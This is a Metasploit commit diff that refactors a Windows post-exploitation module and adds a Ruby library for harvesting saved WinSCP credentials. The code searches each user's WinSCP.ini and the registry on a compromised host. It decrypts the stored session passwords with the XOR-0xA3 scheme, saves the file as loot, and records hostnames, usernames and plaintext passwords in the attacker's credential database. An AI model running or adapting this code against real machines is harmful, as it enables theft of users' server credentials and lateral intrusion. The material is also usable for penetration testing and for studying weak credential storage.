Skip to content

Commit d551f42

Browse files
author
Brent Cook
committed
Land rapid7#5799, refactor WinSCP module and library code to be more useful and flexible
2 parents 7cd30ef + 2cd6b1c commit d551f42

File tree

4 files changed

+277
-110
lines changed

4 files changed

+277
-110
lines changed

lib/rex/parser/winscp.rb

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
require 'rex/parser/ini'
2+
3+
module Rex
4+
module Parser
5+
module WinSCP
6+
PWDALG_SIMPLE_MAGIC = 0xA3
7+
PWDALG_SIMPLE_FLAG = 0xFF
8+
9+
def read_and_parse_ini(filename)
10+
file = File.read(filename)
11+
return if file.to_s.empty?
12+
parse_ini(file)
13+
end
14+
15+
def parse_protocol(fsprotocol)
16+
return 'Unknown' if fsprotocol.nil?
17+
18+
case fsprotocol
19+
when 5 then 'FTP'
20+
when 0 then 'SSH'
21+
else
22+
'Unknown'
23+
end
24+
end
25+
26+
def parse_ini(file)
27+
results = []
28+
raise RuntimeError, 'No data to parse' if file.nil? || file.empty?
29+
30+
ini = Rex::Parser::Ini.from_s(file)
31+
32+
if ini['Configuration\\Security']
33+
# if a Master Password is in use we give up
34+
if ini['Configuration\\Security']['UseMasterPassword'].to_i == 1
35+
raise RuntimeError, 'Master Password Set, unable to recover saved passwords!'
36+
end
37+
end
38+
39+
# Runs through each group in the ini file looking for all of the Sessions
40+
ini.each_key do |group|
41+
if group.include?('Sessions') && ini[group].has_key?('Password')
42+
# Decrypt our password, and report on results
43+
encrypted_password = ini[group]['Password']
44+
user = ini[group]['UserName']
45+
host = ini[group]['HostName']
46+
sname = parse_protocol(ini[group]['FSProtocol'].to_i)
47+
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
48+
49+
results << {
50+
hostname: host,
51+
password: plaintext,
52+
portnumber: ini[group]['PortNumber'] || 22,
53+
username: user,
54+
protocol: sname
55+
}
56+
end
57+
end
58+
59+
results
60+
end
61+
62+
# Decrypts the next character in the password sequence
63+
def decrypt_next_char(pwd)
64+
if pwd.nil? || pwd.length <= 0
65+
return 0, pwd
66+
end
67+
68+
# Takes the first char from the encrypted password and then left shifts the returned index by 4 bits
69+
a = pwd[0].hex << 4
70+
71+
# Takes the second char from the encrypted password
72+
b = pwd[1].hex
73+
74+
# Adds the two results, XORs against 0xA3, NOTs it and then ANDs it with 0xFF
75+
result = ~((a + b) ^ PWDALG_SIMPLE_MAGIC) & PWDALG_SIMPLE_FLAG
76+
77+
# Strips the first two chars off and returns our result
78+
return result, pwd[2..-1]
79+
end
80+
81+
def decrypt_password(pwd, key)
82+
flag, pwd = decrypt_next_char(pwd)
83+
84+
if flag == PWDALG_SIMPLE_FLAG
85+
_, pwd = decrypt_next_char(pwd)
86+
length, pwd = decrypt_next_char(pwd)
87+
else
88+
length = flag
89+
end
90+
91+
del, pwd = decrypt_next_char(pwd)
92+
pwd = pwd[del*2..-1]
93+
94+
result = ""
95+
length.times do
96+
r, pwd = decrypt_next_char(pwd)
97+
result << r.chr
98+
end
99+
100+
if flag == PWDALG_SIMPLE_FLAG
101+
result = result[key.length..-1]
102+
end
103+
104+
result
105+
end
106+
end
107+
end
108+
end

modules/post/windows/gather/credentials/winscp.rb

Lines changed: 58 additions & 110 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
# post/windows/gather/enum_vnc_pw.rb
2-
31
##
42
# This module requires Metasploit: http://metasploit.com/download
53
# Current source: https://github.com/rapid7/metasploit-framework
@@ -8,13 +6,15 @@
86
require 'msf/core'
97
require 'rex'
108
require 'rex/parser/ini'
9+
require 'rex/parser/winscp'
1110
require 'msf/core/auxiliary/report'
1211

1312
class Metasploit3 < Msf::Post
1413
include Msf::Post::Windows::Registry
1514
include Msf::Auxiliary::Report
1615
include Msf::Post::Windows::UserProfiles
1716
include Msf::Post::File
17+
include Rex::Parser::WinSCP
1818

1919
def initialize(info={})
2020
super(update_info(info,
@@ -73,14 +73,21 @@ def get_reg
7373
portnum = 22
7474
end
7575

76-
winscp_store_config(
77-
'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "",
78-
'HostName' => registry_getvaldata(active_session, 'HostName') || "",
79-
'Password' => password,
80-
'PortNumber' => portnum,
81-
'UserName' => registry_getvaldata(active_session, 'UserName') || "",
82-
)
83-
76+
encrypted_password = password
77+
user = registry_getvaldata(active_session, 'UserName') || ""
78+
fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || ""
79+
sname = parse_protocol(fsprotocol)
80+
host = registry_getvaldata(active_session, 'HostName') || ""
81+
82+
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
83+
84+
winscp_store_config({
85+
hostname: host,
86+
username: user,
87+
password: plaintext,
88+
portnumber: portnum,
89+
protocol: sname
90+
})
8491
end
8592

8693
if savedpwds == 0
@@ -96,121 +103,62 @@ def get_reg
96103

97104
end
98105

106+
def run
107+
print_status("Looking for WinSCP.ini file storage...")
99108

100-
def get_ini(filename)
101-
print_error("Looking for #{filename}.")
102-
# opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
103-
parse = read_file(filename)
104-
if parse.nil?
105-
print_error("WinSCP.ini file NOT found...")
106-
return
109+
# WinSCP is only x86...
110+
if sysinfo['Architecture'] == 'x86'
111+
prog_files_env = 'ProgramFiles'
112+
else
113+
prog_files_env = 'ProgramFiles(x86)'
107114
end
115+
env = get_envs('APPDATA', prog_files_env, 'USERNAME')
108116

109-
print_status("Found WinSCP.ini file...")
110-
ini = Rex::Parser::Ini.from_s(parse)
117+
user_dir = "#{env['APPDATA']}\\..\\.."
118+
user_dir << "\\.." if user_dir.include?('Users')
111119

112-
# if a Master Password is in use we give up
113-
if ini['Configuration\\Security']['MasterPassword'] == '1'
114-
print_status("Master Password Set, unable to recover saved passwords!")
115-
return nil
120+
users = dir(user_dir)
121+
users.each do |user|
122+
next if user == "." || user == ".."
123+
app_data = "#{env['APPDATA'].gsub(env['USERNAME'], user)}\\WinSCP.ini"
124+
vprint_status("Looking for #{app_data}...")
125+
get_ini(app_data) if file?(app_data)
116126
end
117127

118-
# Runs through each group in the ini file looking for all of the Sessions
119-
ini.each_key do |group|
120-
if group.include?('Sessions') && ini[group].has_key?('Password')
121-
winscp_store_config(
122-
'FSProtocol' => ini[group]['FSProtocol'],
123-
'HostName' => ini[group]['HostName'],
124-
'Password' => ini[group]['Password'],
125-
'PortNumber' => ini[group]['PortNumber'] || 22,
126-
'UserName' => ini[group]['UserName'],
127-
)
128+
program_files = "#{env[prog_files_env]}\\WinSCP\\WinSCP.ini"
128129

129-
end
130-
end
131-
end
132-
133-
def decrypt_next_char
134-
135-
pwalg_simple_magic = 0xA3
136-
pwalg_simple_string = "0123456789ABCDEF"
137-
138-
# Decrypts the next character in the password sequence
139-
if @password.length > 0
140-
# Takes the first char from the encrypted password and finds its position in the
141-
# pre-defined string, then left shifts the returned index by 4 bits
142-
unpack1 = pwalg_simple_string.index(@password[0,1])
143-
unpack1 = unpack1 << 4
144-
145-
# Takes the second char from the encrypted password and finds its position in the
146-
# pre-defined string
147-
unpack2 = pwalg_simple_string.index(@password[1,1])
148-
# Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
149-
result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
150-
# Strips the first two chars off and returns our result
151-
@password = @password[2,@password.length]
152-
return result
153-
end
130+
get_ini(program_files) if file?(program_files)
154131

132+
print_status("Looking for Registry storage...")
133+
get_reg
155134
end
156135

157-
158-
159-
def decrypt_password(pwd, key)
160-
pwalg_simple_flag = 0xFF
161-
@password = pwd
162-
flag = decrypt_next_char()
163-
164-
if flag == pwalg_simple_flag
165-
decrypt_next_char()
166-
length = decrypt_next_char()
167-
else
168-
length = flag
169-
end
170-
ldel = (decrypt_next_char())*2
171-
@password = @password[ldel,@password.length]
172-
173-
result = ""
174-
length.times do
175-
result << decrypt_next_char().chr
136+
def get_ini(file_path)
137+
print_good("WinSCP.ini located at #{file_path}")
138+
file = read_file(file_path)
139+
stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path)
140+
print_status("WinSCP saved to loot: #{stored_path}")
141+
parse_ini(file).each do |res|
142+
winscp_store_config(res)
176143
end
177-
178-
if flag == pwalg_simple_flag
179-
result = result[key.length, result.length]
180-
end
181-
182-
result
183-
end
184-
185-
def run
186-
print_status("Looking for WinSCP.ini file storage...")
187-
get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini"))
188-
print_status("Looking for Registry Storage...")
189-
get_reg()
190-
print_status("Done!")
191144
end
192145

193146
def winscp_store_config(config)
194-
host = config['HostName']
195-
pass = config['Password']
196-
portnum = config['PortNumber']
197-
proto = config['FSProtocol']
198-
user = config['UserName']
199-
200-
sname = case proto.to_i
201-
when 5 then "FTP"
202-
when 0 then "SSH"
203-
end
147+
begin
148+
res = client.net.resolve.resolve_host(config[:hostname], AF_INET)
149+
ip = res[:ip] if res
150+
rescue Rex::Post::Meterpreter::RequestError => e
151+
print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}")
152+
ensure
153+
print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}")
154+
end
204155

205-
# Decrypt our password, and report on results
206-
plaintext = decrypt_password(pass, user+host)
207-
print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}")
156+
return unless ip
208157

209158
service_data = {
210-
# XXX This resolution should happen on the victim side instead
211-
address: ::Rex::Socket.getaddress(host),
212-
port: portnum,
213-
service_name: sname,
159+
address: ip,
160+
port: config[:portnumber],
161+
service_name: config[:protocol],
214162
protocol: 'tcp',
215163
workspace_id: myworkspace_id,
216164
}
@@ -220,8 +168,8 @@ def winscp_store_config(config)
220168
session_id: session_db_id,
221169
post_reference_name: self.refname,
222170
private_type: :password,
223-
private_data: plaintext,
224-
username: user
171+
private_data: config[:password],
172+
username: config[:username]
225173
}.merge(service_data)
226174

227175
credential_core = create_credential(credential_data)

0 commit comments

Comments
 (0)